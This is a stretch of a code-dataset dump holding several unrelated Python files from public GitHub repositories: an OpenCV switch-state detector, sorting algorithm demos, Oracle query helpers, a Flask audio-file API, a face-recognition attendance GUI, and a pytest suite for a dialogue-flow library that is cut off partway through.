horizontal_parts = []\n    horizontal_slide = int(img.shape[1]/3)\n\n    for i in range(3):\n        cut_img=img[:,i*horizontal_slide:(i+1)*horizontal_slide,:]\n        horizontal_parts.append(cut_img)\n\n    return horizontal_parts\n\n\n\n# forks\ndef get_fork_status_from_image(image):\n    fork_image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR).copy()\n    result_connected_status = {\"fork_0\": True, \"fork_1\": True, \"fork_2\": True}\n    # взяли верхнюю часть\n    upper_part, lower_cut = vertical_cut(fork_image)\n\n    # cv2_imshow(upper_part)\n    # поделили изображение на 3 части, в каждой части изображена вилка\n    horizontal_parts = horizont_cut(upper_part)\n\n    for i, part_bgr in enumerate(horizontal_parts):\n\n        color_name = color2code[i][0]\n        color_code = color2code[i][1]\n\n        part_hsv = cv2.cvtColor(part_bgr.copy(), cv2.COLOR_BGR2HSV)\n        mask_bitwise = get_mask_bitwise(part_hsv.copy(), color2range[color_name])\n\n        # blur = cv2.medianBlur(mask_bitwise, 5)\n\n        blur = cv2.GaussianBlur(mask_bitwise, (17, 17), 0)\n        kernel = np.ones((5, 5), np.uint8)\n\n        dilation = cv2.dilate(blur, kernel, iterations=2)\n\n        gray = cv2.cvtColor(dilation, cv2.COLOR_RGB2GRAY)\n        _, binary = cv2.threshold(gray, 20, 255, cv2.THRESH_BINARY)\n        # cv2_imshow(binary)\n\n        contours, hierarchy = cv2.findContours(binary, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n\n        caps = get_caps(contours)\n        pairs_cap = get_pair_cap(caps)\n        caps_belonging_fork = remove_caps_not_belong_fork(pairs_cap)\n\n        sorted_pairs_caps = fun_up_sorted_pairs_caps(caps_belonging_fork)\n\n        print(sorted_pairs_caps)\n        upper_caps = [sorted_pairs_caps[0][0], sorted_pairs_caps[1][0]]\n        upper_cap = upper_caps[0]\n\n        upper_point, fotter_point, left_point, right_point = bounded_points(upper_caps)\n        crop_coonection_caps = part_bgr[upper_point:fotter_point, left_point:right_point, :]\n\n        left_sorted_pairs_caps = fun_left_sorted_pairs_caps(caps_belonging_fork)\n        lefter_cap = left_sorted_pairs_caps[0][0]\n\n        template_connector = np.zeros(crop_coonection_caps.shape[0:2])\n        main_diagonal = True\n        if upper_cap.center_point != lefter_cap.center_point:\n            # print(\"left_top2right_futter_diag\")\n            template_connector = cv2.line(template_connector,\n                                          (0, 0),\n                                          (template_connector.shape[1], template_connector.shape[0]),\n                                          (255, 255, 255),\n                                          4)\n        else:\n            # print(\"left_futter2right_upper_diag\")\n            main_diagonal = False\n            template_connector = cv2.line(template_connector,\n                                          (0, template_connector.shape[0]),\n                                          (template_connector.shape[1], 0),\n                                          (255, 255, 255),\n                                          4)\n\n        gray = cv2.cvtColor(crop_coonection_caps.copy(), cv2.COLOR_RGB2GRAY)\n        _, binary = cv2.threshold(gray, 50, 255, cv2.THRESH_BINARY_INV)\n\n        value = np.sum(binary * template_connector)\n\n        # print(value)\n        treshold_is_connect = 30886875 / 2\n        print('treshold_is_connect:', treshold_is_connect)\n        if value > treshold_is_connect:\n            # print('Connected')\n            for pairs in sorted_pairs_caps:\n                cv2.line(part_bgr,\n                         (int(pairs[0].center_point.x), int(pairs[0].center_point.y)),\n                         (int(pairs[1].center_point.x), int(pairs[1].center_point.y)),\n                         (0, 255, 0),\n                         3)\n                # cv2.circle(part_bgr, (int(pairs[0].center_point.x), int(pairs[0].center_point.y)), 4, color_code, 4)\n                # cv2.circle(part_bgr, (int(pairs[1].center_point.x), int(pairs[1].center_point.y)),4, color_code, 4)\n\n            if main_diagonal:\n                cv2.line(part_bgr[upper_point:fotter_point, left_point:right_point, :],\n                         (0, 0),\n                         (template_connector.shape[1], template_connector.shape[0]),\n                         (0, 255, 0),\n                         7)\n            else:\n                cv2.line(part_bgr[upper_point:fotter_point, left_point:right_point, :],\n                         (0, template_connector.shape[0]),\n                         (template_connector.shape[1], 0),\n                         (0, 255, 0),\n                         7)\n\n            font = cv2.FONT_HERSHEY_SIMPLEX\n            org = (50, 50)\n            part_bgr = cv2.putText(part_bgr, 'Connect id: {0}'.format(i), org, font,\n                                   0.5, (0, 255, 0), 2, cv2.LINE_AA)\n\n        else:\n            for pairs in sorted_pairs_caps:\n                cv2.line(part_bgr,\n                         (int(pairs[0].center_point.x), int(pairs[0].center_point.y)),\n                         (int(pairs[1].center_point.x), int(pairs[1].center_point.y)),\n                         (0, 0, 255),\n                         3)\n\n            # print('Disconnect')\n            font = cv2.FONT_HERSHEY_SIMPLEX\n            org = (50, 50)\n            part_bgr = cv2.putText(part_bgr, 'Disconnect id: {0}'.format(i), org, font,\n                                   0.5, (0, 0, 255), 2, cv2.LINE_AA)\n\n            result_connected_status['fork_{0}'.format(i)] = False\n\n        # if show_imgs:\n        #     print('\\npart_bgr')\n        #     cv2_imshow(part_bgr)\n        #     print('\\ndilation')\n        #     cv2_imshow(dilation)\n        #     print('\\ncrop_coonection_caps')\n        #     cv2_imshow(crop_coonection_caps)\n        #     print('\\ntemplate_connector')\n        #     cv2_imshow(template_connector)\n        #     print('\\ncurrent binary connector')\n        #     cv2_imshow(binary)\n\n    return result_connected_status, fork_image\n\n\n# def get_result(img):\n#     result_is_on = False\n#\n#     output = img.copy()\n#     gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n#\n#     circles = cv2.HoughCircles(gray, cv2.HOUGH_GRADIENT, 1.2, 100)\n#     device = None\n#     # ensure at least some circles were found\n#     if circles is not None:\n#         # convert the (x, y) coordinates and radius of the circles to integers\n#         circles = np.round(circles[0, :]).astype(\"int\")\n#         # loop over the (x, y) coordinates and radius of the circles\n#         for (x, y, r) in circles:\n#             if r < 60:\n#                 continue\n#             device = img.copy()[y - r: y + r, x - r: x + r, :]\n#             cv2.circle(output, (x, y), r, (0, 255, 0), 4)\n#             cv2.rectangle(output, (x - 5, y - 5), (x + 5, y + 5), (0, 128, 255), -1)\n#\n#     hsv_min = np.array((2, 28, 65), np.uint8)\n#     hsv_max = np.array((26, 238, 255), np.uint8)\n#     img1 = device.copy()\n#\n#     hsv = cv2.cvtColor(device, cv2.COLOR_BGR2HSV)\n#     thresh = cv2.inRange(hsv, hsv_min, hsv_max)\n#     contours, hierarchy = cv2.findContours(thresh.copy(), cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n#     cv2.drawContours(img1, contours, -1, (255, 0, 0), 3, cv2.LINE_AA, hierarchy, 1)\n#\n#     center_contour = None\n#     for i, c in enumerate(contours):\n#         contours_poly = cv2.approxPolyDP(c, 3, True)\n#         boundRect = cv2.boundingRect(contours_poly)\n#         centers, radius = cv2.minEnclosingCircle(contours_poly)\n#         center_contour = centers\n#\n#     x_center_device = int(img1.shape[1] / 2)\n#     y_center_device = int(img1.shape[0] / 2)\n#\n#     result_image = img1.copy()\n#     line_thickness = 2\n#     cv2.line(result_image, (y_center_device, 0), (y_center_device, img1.shape[0]), (0, 255, 0),\n#              thickness=line_thickness)\n#     cv2.line(result_image, (0, x_center_device), (img1.shape[1], x_center_device), (0, 255, 0),\n#              thickness=line_thickness)\n#     if center_contour[0] < x_center_device and y_center_device < center_contour[1]:\n#         cv2.line(result_image, (x_center_device, y_center_device), (int(center_contour[0]), int(center_contour[1])),\n#                  (0, 255, 0), thickness=line_thickness + 1)\n#         font = cv2.FONT_HERSHEY_SIMPLEX\n#         org = (20, 20)\n#         part_bgr = cv2.putText(result_image, 'On'.format(i), org, font,\n#                                0.5, (0, 255, 0), 2, cv2.LINE_AA)\n#         result_is_on = True\n#     else:\n#         cv2.line(result_image, (x_center_device, y_center_device), (int(center_contour[0]), int(center_contour[1])),\n#                  (0, 0, 255), thickness=line_thickness + 1)\n#         font = cv2.FONT_HERSHEY_SIMPLEX\n#         org = (20, 20)\n#         part_bgr = cv2.putText(result_image, 'Off'.format(i), org, font,\n#                                0.5, (0, 0, 255), 2, cv2.LINE_AA)\n#         result_is_on = False\n#\n#     return result_is_on, result_image\n#\nSHOW = True\n\n# https://drive.google.com/file/d/1_Y9P2OjRnhDCrxlqrVzuvD1AdE15TJ-l/view?usp=sharing\nPATH_TO_INSCRIPTION_IS_ON_TEMPLATE = 'C:/Users/andre/Notebooks/rosseti/templates/temp_is_on.png'\nPATH_TO_INSCRIPTION_IS_OFF_TEMPLATE = 'C:/Users/andre/Notebooks/rosseti/templates/temp_is_off.png'\n\n\ndef get_inscription_localization(img, inscription_template):\n    image = img.copy()\n    template = cv2.cvtColor(inscription_template, cv2.COLOR_BGR2GRAY)\n    template = cv2.Canny(template, 50, 200)\n    (tH, tW) = template.shape[:2]\n    gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n    found = None\n\n    # loop over the scales of the image\n    for scale in np.linspace(0.8, 1.0, 2)[::-1]:\n        # resize the image according to the scale, and keep track\n        # of the ratio of the resizing\n        resized = imutils.resize(gray, width = int(gray.shape[1] * scale))\n        r = gray.shape[1] / float(resized.shape[1])\n\n        # if the resized image is smaller than the template, then break\n        # from the loop\n        if resized.shape[0] < tH or resized.shape[1] < tW:\n            break\n\n        # detect edges in the resized, grayscale image and apply template\n        # matching to find the template in the image\n        edged = cv2.Canny(resized, 50, 200)\n        result = cv2.matchTemplate(edged, template, cv2.TM_CCOEFF)\n        (_, maxVal, _, maxLoc) = cv2.minMaxLoc(result)\n\n        # if we have found a new maximum correlation value, then ipdate\n        # the bookkeeping variable\n        if found is None or maxVal > found[0]:\n            found = (maxVal, maxLoc, r)\n\n    # unpack the bookkeeping varaible and compute the (x, y) coordinates\n    # of the bounding box based on the resized ratio\n    (_, maxLoc, r) = found\n    (startX, startY) = (int(maxLoc[0] * r), int(maxLoc[1] * r))\n    (endX, endY) = (int((maxLoc[0] + tW) * r), int((maxLoc[1] + tH) * r))\n    cv2.rectangle(image, (startX, startY), (endX, endY), (0, 0, 128), 2)\n    return (startX, startY, endX, endY)\n\ndef cut_device(img_region_device):\n    hsv_min = np.array((0, 0, 0), np.uint8)\n    hsv_max = np.array((179, 255, 53), np.uint8)\n\n    try:\n        hsv = cv2.cvtColor(img_region_device, cv2.COLOR_BGR2HSV)\n    except:\n        return (None, None, None)\n    thresh = cv2.inRange(hsv, hsv_min, hsv_max)\n    contours, hierarchy = cv2.findContours( thresh.copy(), cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n    # _= cv2.drawContours(img_region_device, contours, -1, (255,0,0), 3, cv2.LINE_AA, hierarchy, 1)\n    if len(contours) == 0:\n        return (None, None, None)\n\n    center_contour = None\n    result_centers = None\n    result_boundRect = None\n    result_radius = 0\n\n    for i, c in enumerate(contours):\n        contours_poly = cv2.approxPolyDP(c, 3, True)\n        boundRect = cv2.boundingRect(contours_poly)\n        centers, radius = cv2.minEnclosingCircle(contours_poly)\n        if radius > result_radius:\n            result_radius = radius\n            result_centers = centers\n            result_boundRect = boundRect\n\n    return result_boundRect, result_centers, result_radius\n\n\ndef get_pointer_center(img_device):\n    hsv_min = np.array((2, 28, 65), np.uint8)\n    hsv_max = np.array((26179, 255, 255), np.uint8)\n\n    hsv = cv2.cvtColor(img_device, cv2.COLOR_BGR2HSV)\n    thresh = cv2.inRange(hsv, hsv_min, hsv_max)\n    contours, hierarchy = cv2.findContours(thresh.copy(), cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n    # _= cv2.drawContours(img_region_device, contours, -1, (255,0,0), 3, cv2.LINE_AA, hierarchy, 1)\n\n    if len(contours) == 0:\n        return (None, None, None)\n\n    result_center = None\n    result_radius = 0\n\n    for i, c in enumerate(contours):\n        contours_poly = cv2.approxPolyDP(c, 3, True)\n        centers, radius = cv2.minEnclosingCircle(contours_poly)\n        if radius > result_radius:\n            result_radius = radius\n            result_center = centers\n\n    return result_center\n\n\ndef get_result(img_rgb):\n    status_is_on = True\n\n    template_is_on = cv2.imread(PATH_TO_INSCRIPTION_IS_ON_TEMPLATE)\n    start1_x, start1_y, end1_x, end1_y = get_inscription_localization(img_rgb, template_is_on)\n\n    template_is_off = cv2.imread(PATH_TO_INSCRIPTION_IS_OFF_TEMPLATE)\n    start2_x, start2_y, end2_x, end2_y = get_inscription_localization(img_rgb, template_is_off)\n\n    ration = np.abs(end1_x - start2_x)\n\n    start_y = start1_y - int(ration * 0.40)\n    if start_y < 0:\n        start_y = 0\n    end_y = end1_y + int(ration * 0.1)\n    if end_y > img_rgb.shape[0]:\n        end_y = img_rgb.shape[0]\n\n    img_region_device = img_rgb[start_y: end_y,\n                        end1_x: start2_x,\n                        :].copy()\n\n    boundRect_device, center_device, radius_device = cut_device(img_region_device)\n\n    if boundRect_device is None or center_device is None or radius_device is None:\n        return None\n\n    img_device = img_region_device[boundRect_device[1]: boundRect_device[3],\n                 boundRect_device[0]: boundRect_device[2],\n                 :].copy()\n\n    center_pointer = get_pointer_center(img_region_device)\n\n    if center_pointer is None:\n        return None\n\n    if center_pointer[0] > center_device[0]:\n        status_is_on = False\n\n    if SHOW:\n        print('\\ntemplate_is_on')\n        # cv2_imshow(img_rgb[start1_y:end1_y, start1_x:end1_x])\n        # print('\\ntemplate_is_off')\n        # cv2_imshow(img_rgb[start2_y:end2_y, start2_x:end2_x])\n        # print('\\nimg_region_device')\n        # cv2_imshow(img_region_device)\n        # print('\\nimg_device')\n        # cv2_imshow(img_device)\n        # print('\\ncenter_device')\n        # cv2_imshow(\n        #     cv2.line(img_device, (int(center_device[0]), 0), (int(center_device[0]), img_device.shape[0]), (0, 255, 0),\n        #              thickness=3))\n\n        print('\\npointer')\n        # cv2_imshow(cv2.line(img_device,\n        #                     (int(center_device[0]), int(center_device[1])),\n        #                     (int(center_pointer[0]), int(center_pointer[1])),\n        #                     (0, 255, 0),\n        #                     thickness=3))\n        print(\"STATUS\", status_is_on)\n\n    return status_is_on\n\n\n# path_to_dir = '/content/drive/My Drive/Colab Notebooks/data/circle/images'\n# for filename in reversed(sorted(os.listdir(path_to_dir))):\n#     path_to_img = os.path.join(path_to_dir, filename)\n#\n#     image_bgr = cv2.imread(path_to_img)\n#     status = get_result(image_bgr)\n#\n#     if status is None:\n#         print('Датчик не распознан')\n#     elif status:\n#         print('Вкл')\n#     else:\n#         print('Откл')","repo_name":"ZerozeroAndre/hackathon_rosseti","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":22004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"31374251078","text":"# Bubble Sort\ndef bubble_sort(arr):\n    swap_happened = True\n\n    while swap_happened:\n        print ('Bubble sort status: ' + str(arr))\n        swap_happened = False\n        for num in range(len(arr) - 1):\n            if arr[num] > arr[num + 1]:\n                arr[num], arr[num + 1] = arr[num + 1], arr[num]\n                swap_happened = True\n\narr = [ 4, 2, 7, 3, 9, 10, 1, 6, 5, 8]\nbubble_sort(arr)\n\n# Selection Sort\ndef selection_sort(arr):\n    marker = 0\n \n    while marker < len(arr):\n        print ('Selection sort status: ' + str(arr))\n        for num in range(marker, len(arr)):\n            if arr[marker] > arr[num]:\n                arr[marker], arr[num] = arr[num], arr[marker]\n        marker += 1\n\narr = [ 4, 2, 7, 3, 9, 10, 1, 6, 5, 8]\nselection_sort(arr)\n\n# Insertion Sort\ndef insertion_sort(arr):\n    for num in range(1, len(arr)):\n        key = arr[num]\n\n        while arr[num - 1] > key and num >= 0:\n            print ('Insertion sort status: ' + str(arr))\n            arr[num - 1], arr[num] = arr[num], arr[num - 1]\n            num -= 1\n\narr = [ 4, 2, 7, 3, 9, 10, 1, 6, 5, 8]\ninsertion_sort(arr)\n\n# Merge Sort\ndef merge_sort(arr1, arr2):\n    sorted_arr = []\n    i, j = 0, 0\n\n    while i < len(arr1) and j < len(arr2):\n        if arr1[i] < arr2[j]:\n            sorted_arr.append(arr1[i])\n            i += 1\n        else:\n            sorted_arr.appen(arr2[j])\n            j += 1\n    \n    while i < len(arr1):\n        sorted_arr.append(arr1[i])\n        i += 1\n    \n    while j < len(arr2):\n        sorted_arr.append(arr2[j])\n        j += 1\n    return sorted_arr\n\narr1 = [4, 2, 7, 3, 9]\narr2 = [10, 1, 6, 5, 8]\nprint(\"Merge sort complete: {}\".format(merge_sort(arr1, arr2)))\n\n# Quick Sort\ndef quick_sort(arr):\n    if len(arr) < 2:\n        return arr\n    else:\n        pivot = arr[-1]\n        smaller, equal, larger = [], [], []\n        for num in arr:\n            if num < pivot:\n                smaller.append(num)\n            elif num == pivot:\n                equal.append(num)\n            else: \n                larger.append(num)\n        return quick_sort(smaller) + equal + quick_sort(larger)\n\nl = [ 6, 8, 1, 4, 10, 7, 8, 9, 3, 2, 5]\nprint(quick_sort(l))","repo_name":"nohaderf/sorting-algorithms","sub_path":"sorting_algorithms.py","file_name":"sorting_algorithms.py","file_ext":"py","file_size_in_byte":2179,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"36116642978","text":"import logging\n\nimport cx_Oracle\n\n\ndef query_for_fall_id_given_acc(cursor, accession_number):\n    sql = \"\"\"\n        SELECT DISTINCT\n            FALL_FREMD_ID, UNTERS_SCHLUESSEL\n        FROM\n            A_ABRFALL_LEISTUNG\n        WHERE\n            UNTERS_SCHLUESSEL = :accession_number\n          \"\"\"\n    try:\n        cursor.execute(sql, accession_number=accession_number)\n        row = cursor.fetchone()\n        if row is None:\n            return None\n        else:\n            return {\"fallid\": row[0], \"accession_number\": row[1]}\n    except cx_Oracle.DatabaseError as e:\n        logging.error(\"Database error occured\")\n        logging.error(e)\n        return None\n\n\ndef query_for_acc_given_fall_id(cursor, fall_fremd_id):\n    sql = \"\"\"\n        SELECT\n            FALL_FREMD_ID, UNTERS_SCHLUESSEL\n        FROM\n            A_ABRFALL_LEISTUNG\n        WHERE\n            FALL_FREMD_ID = :fall_fremd_id\n          \"\"\"\n    try:\n        cursor.execute(sql, fall_fremd_id=fall_fremd_id)\n        rows = cursor.fetchall()\n        if rows is None:\n            return None\n        else:\n            return [{\"fallid\": row[0], \"accession_number\": row[1]} for row in rows]\n    except cx_Oracle.DatabaseError as e:\n        logging.error(\"Database error occured\")\n        logging.error(e)\n        return None\n\n\ndef query_acc(cursor, befund_id):\n    sql = \"\"\"\n        SELECT DISTINCT\n            BEFUND_SCHLUESSEL, UNTERS_SCHLUESSEL\n        FROM\n            A_BEFUND\n        WHERE\n            BEFUND_SCHLUESSEL = :befund_id\n          \"\"\"\n    try:\n        cursor.execute(sql, befund_id=befund_id)\n        row = cursor.fetchone()\n        if row is None:\n            return None\n        else:\n            return {\"befund_id\": row[0], \"accession_number\": row[1]}\n    except cx_Oracle.DatabaseError as e:\n        logging.error(\"Database error occured\")\n        logging.error(e)\n        return None\n","repo_name":"joshy/repo","sub_path":"repo/database/fall.py","file_name":"fall.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"15238138035","text":"# An object of Flask class is our WSGI application.\nimport sqlite3\n\nfrom flask import request\nfrom flask import Flask\nfrom AudioFiles.AudioFile import create_song, create_podcast, create_audiobook, get_audiofile, remove_audiofile\nfrom Database.database import get_db_connection\n\napp = Flask(__name__)\n\n\n@app.route('/create', methods=['GET'])\ndef create_audiofile():\n    metadata = request.json\n    filetype = metadata['audioFileType']\n    filemeta = metadata['audioFileMetadata']\n\n    with get_db_connection() as conn:\n        if filetype == \"song\":\n            create_song(conn, filemeta)\n            return \"Action is successful: 200 OK\"\n        elif filetype == \"podcast\":\n            create_podcast(conn, filemeta)\n            return \"Action is successful: 200 OK\"\n        elif filetype == \"audiobook\":\n            create_audiobook(conn, filemeta)\n            return \"Action is successful: 200 OK\"\n        else:\n            return bad_request\n\n\n@app.route('/update/<string:audioFileType>/<int:audioFileID>', methods=['GET'])\ndef update_audiofile(audioFileType, audioFileID):\n    metadata = request.json\n    filetype = metadata['audioFileType']\n    filemeta = metadata['audioFileMetadata']\n\n    with get_db_connection() as conn:\n        if filetype == \"song\":\n            create_song(conn, filemeta)\n            return \"Action is successful: 200 OK\"\n        elif filetype == \"podcast\":\n            create_podcast(conn, filemeta)\n            return \"Action is successful: 200 OK\"\n        elif filetype == \"audiobook\":\n            create_audiobook(conn, filemeta)\n            return \"Action is successful: 200 OK\"\n        else:\n            return bad_request()\n\n\n@app.route('/read/<string:audioFileType>', methods=['GET'])\n@app.route('/read/<string:audioFileType>/<int:audioFileID>', methods=['GET'])\ndef  read_audiofile(audioFileType, audioFileID=None):\n    with get_db_connection() as conn:\n        try:\n            if audioFileType in (\"song\", \"podcast\", \"audiobook\"):\n                audiofile = get_audiofile(conn, audioFileType, audioFileID)\n                print(audiofile)\n                if audiofile == \"[]\":\n                    return bad_request()\n                else:\n                    return audiofile\n            else:\n                return bad_request()\n        except:\n            error_message\n\n\n@app.route('/delete/<string:audioFileType>/<int:audioFileID>', methods=['GET'])\ndef delete_audiofile(audioFileType, audioFileID):\n    with get_db_connection() as conn:\n        try:\n            if audioFileType in (\"song\", \"podcast\", \"audiobook\"):\n                audioFile = remove_audiofile(conn, audioFileType, audioFileID)\n                print(audioFile)\n                return \"Action is successful: 200 OK\"\n            else:\n                return bad_request\n        except sqlite3.Error:\n            return error_message\n\n\n@app.errorhandler(500)\ndef error_message():\n    return \"500 internal server error\", 500\n\n\n# @app.errorhandler(404)\n# def page_not_found():\n#     return \"The resource could not be found.\", 404\n\n@app.errorhandler(400)\ndef bad_request():\n    return \"The request is invalid: 400 bad request\", 400\n\n\n# main driver function\nif __name__ == '__main__':\n    # run() method of Flask class runs the application\n    # on the local development server.\n\n    app.run(debug=True)\n","repo_name":"gundedipranayareddy1/python-flask","sub_path":"Flask/flaskapi.py","file_name":"flaskapi.py","file_ext":"py","file_size_in_byte":3314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"24033464258","text":"from PyQt5.QtGui import QImage, QPixmap\r\nfrom PyQt5.uic import loadUi\r\nfrom PyQt5.QtCore import pyqtSlot, QTimer, QDate\r\nfrom PyQt5.QtWidgets import QDialog\r\nimport cv2\r\nimport face_recognition\r\nimport numpy as np\r\nimport datetime\r\nimport os\r\nimport smtplib\r\nfrom email.message import EmailMessage\r\n\r\nclass Ui_OutputDialog(QDialog):\r\n    def __init__(self):\r\n        super(Ui_OutputDialog, self).__init__()\r\n        loadUi(\"./outputwindow.ui\", self)    #load the ui file for gui\r\n        #update time and date\r\n        now = QDate.currentDate()\r\n        current_date = now.toString('ddd dd MMMM yyyy')\r\n        current_time = datetime.datetime.now().strftime(\"%I:%M %p\")\r\n\r\n        self.Date_Lable.setText(current_date)\r\n        self.Time_Lable.setText(current_time)\r\n\r\n    @pyqtSlot()\r\n    def startVideo(self, camera_name):\r\n        \"\"\"\r\n        camera_name: link of camera or usb camera\r\n        \"\"\"\r\n        if len(camera_name) == 1:\r\n        \tself.capture = cv2.VideoCapture(int(camera_name)) #for video capture from webcam\r\n        else:\r\n        \tself.capture = cv2.VideoCapture(int(camera_name))\r\n        self.timer = QTimer(self)  # Create Timer\r\n        path = 'ImagesAttendance'\r\n        if not os.path.exists(path):\r\n            os.mkdir(path)\r\n        # known face encoding and known face name list\r\n        images = []\r\n        self.class_names = []\r\n        self.encode_list = []\r\n        attendance_list = os.listdir(path)\r\n        #print(attendance_list)\r\n        for cl in attendance_list:\r\n            cur_img = cv2.imread(f'{path}/{cl}')\r\n            images.append(cur_img)\r\n            self.class_names.append(os.path.splitext(cl)[0])\r\n        for img in images:\r\n            img = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)\r\n            boxes = face_recognition.face_locations(img)\r\n            encodes_cur_frame = face_recognition.face_encodings(img, boxes)[0]\r\n\r\n            self.encode_list.append(encodes_cur_frame)\r\n        self.timer.timeout.connect(self.update_frame)  # Connect timeout to the output function\r\n        self.timer.start(10)  # emit the timeout() signal at x=40ms\r\n\r\n    def face_rec_(self, frame, encode_list_known, class_names):\r\n        \"\"\"\r\n         frame: frame from camera\r\n         encode_list_known: known face encoding\r\n         class_names: known face names\r\n        \"\"\"\r\n        # csv\r\n        def mark_attendance(name):\r\n            \"\"\"\r\n             name: detected face known or unknown one\r\n            \"\"\"\r\n            with open('Attendance.csv', 'r+') as f:\r\n                mydatalist = f.readlines()\r\n                namelist = []\r\n\r\n                for line in mydatalist:\r\n                    entry = line.split(',')\r\n                    namelist.append(entry[0])\r\n                if name not in namelist:\r\n                    #now = datetime.now()\r\n                    date_time_string = datetime.datetime.now().strftime(\"%y/%m/%d %H:%M:%S\")\r\n\r\n                    if (name != 'unknown'):\r\n                        self.NameLable.setText(name)\r\n                        self.StatusLable.setText('Present')\r\n                        f.writelines(f'\\n{name},{date_time_string},Present')\r\n                        #self.mail()\r\n                    else:\r\n                        self.NameLable.setText(name)\r\n                        self.StatusLable.setText('Not Registered')\r\n                        f.writelines(f'\\n{name},{date_time_string},Not Registered')\r\n\r\n        # face recognition\r\n        faces_cur_frame = face_recognition.face_locations(frame)\r\n        encodes_cur_frame = face_recognition.face_encodings(frame, faces_cur_frame)\r\n\r\n        for encodeFace, faceLoc in zip(encodes_cur_frame, faces_cur_frame):\r\n            match = face_recognition.compare_faces(encode_list_known, encodeFace, tolerance=0.50)\r\n            face_dis = face_recognition.face_distance(encode_list_known, encodeFace)\r\n            name = \"unknown\"\r\n            best_match_index = np.argmin(face_dis)\r\n\r\n            if match[best_match_index]:\r\n                name = class_names[best_match_index].upper()\r\n                y1, x2, y2, x1 = faceLoc\r\n                cv2.rectangle(frame, (x1, y1), (x2, y2), (0, 255, 0), 2)\r\n                cv2.rectangle(frame, (x1, y2 - 20), (x2, y2), (0, 255, 0), cv2.FILLED)\r\n                cv2.putText(frame, name, (x1 + 6, y2 - 6), cv2.FONT_HERSHEY_COMPLEX, 0.5, (255, 255, 255), 1)\r\n            mark_attendance(name)\r\n\r\n        return frame\r\n\r\n    def update_frame(self):\r\n        ret, self.image = self.capture.read()\r\n        self.displayImage(self.image, self.encode_list, self.class_names, 1)\r\n\r\n    def displayImage(self, image, encode_list, class_names, window=1):\r\n        \"\"\"\r\n         image: frame from camera\r\n         encode_list: known face encoding list\r\n         class_names: known face names\r\n         window: number of window\r\n\r\n        \"\"\"\r\n        image = cv2.resize(image, (640, 480))\r\n        try:\r\n            image = self.face_rec_(image, encode_list, class_names)\r\n        except Exception as e:\r\n            print(e)\r\n        qformat = QImage.Format_Indexed8\r\n        if len(image.shape) == 3:\r\n            if image.shape[2] == 4:\r\n                qformat = QImage.Format_RGBA8888\r\n            else:\r\n                qformat = QImage.Format_RGB888\r\n        outImage = QImage(image, image.shape[1], image.shape[0], image.strides[0], qformat)\r\n        outImage = outImage.rgbSwapped()\r\n\r\n        if window == 1:\r\n            self.imgLabel.setPixmap(QPixmap.fromImage(outImage))\r\n            self.imgLabel.setScaledContents(True)\r\n\r\n    '''def mail(self):\r\n        EMAIL_ADDRESS = '#'\r\n        EMAIL_PASSWORD = '#'\r\n\r\n        #contacts = ['mrhijokar@gmail.com', 'yashbhadja31@gmail.com']\r\n\r\n        msg = EmailMessage()\r\n        msg['Subject'] = 'Student Attendance'\r\n        msg['From'] = EMAIL_ADDRESS\r\n        msg['To'] = 'yashbhadja31@gmail.com'\r\n\r\n        msg.set_content('Your ward is present today')\r\n\r\n\r\n        with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:\r\n            smtp.login(EMAIL_ADDRESS, EMAIL_PASSWORD)\r\n            smtp.send_message(msg)'''\r\n","repo_name":"yashkumarbhadja/Student-Monitoring-System","sub_path":"Face_Detection_software/out_window.py","file_name":"out_window.py","file_ext":"py","file_size_in_byte":6068,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"1897101955","text":"\nimport pytest\n\nfrom emora_stdm import DialogueFlow, CompositeDialogueFlow\n\n\n@pytest.fixture\ndef movies_df():\n    df = DialogueFlow('start')\n    df.global_transitions({\n        '[{movie, movies}]': {\n            \"`I like Inception.`\": 'SYSTEM:start'\n        },\n        '[theater]': {\n            \"`I went to the movies this weekend.`\": 'SYSTEM:start'\n        }\n    })\n    return df\n\n\n@pytest.fixture\ndef sports_df():\n    df = DialogueFlow('start')\n    df.local_transitions({\n        'state': 'start',\n        'error': {\n            \"`Do you play sports?`\": {\n                'error': {\n                    \"`I used to play soccer.`\": 'SYSTEM:start'\n                }\n            }\n        }\n    }, speaker=DialogueFlow.Speaker.USER)\n    df.topic_transitions({\n        '[favorite]': {\n            \"`Probably Barca.`\": 'start'\n        }\n    })\n    df.global_transitions({\n        '[soccer]': {\n            'score': 2,\n            \"`Messi is the best.`\": 'start'\n        },\n        '[basketball]': {\n            'score': 1,\n            \"`I don't really watch it...`\": 'SYSTEM:start'\n        }\n    })\n    return df\n\n\n@pytest.fixture\ndef cdf(movies_df, sports_df):\n    cdf = CompositeDialogueFlow('start', 'start', 'start')\n    cdf.controller().local_transitions({\n        'state': 'start',\n        \"`What's up?`\": {\n            'error': {\n                \"`Hmm... I'match not sure.`\": 'start'\n            }\n        }\n    })\n    cdf.add_component(movies_df, 'movies')\n    cdf.add_component(sports_df, 'sports')\n    return cdf\n\n\ndef test_global_nlu(cdf):\n    assert \"What's up\" in cdf.system_turn()\n    cdf.user_turn(\"talk about movies\")\n    assert \"Inception\" in cdf.system_turn()\n    cdf.user_turn(\"do you like soccer\")\n    assert \"Messi\" in cdf.system_turn()\n    cdf.user_turn(\"Yeah.\")\n    assert \"sports\" in cdf.system_turn()\n    cdf.user_turn(\"have you been to the theater\")\n    assert \"movies this weekend\" in cdf.system_turn()\n\n\ndef test_topic_nlu(cdf):\n    assert \"What's up\" in cdf.system_turn()\n    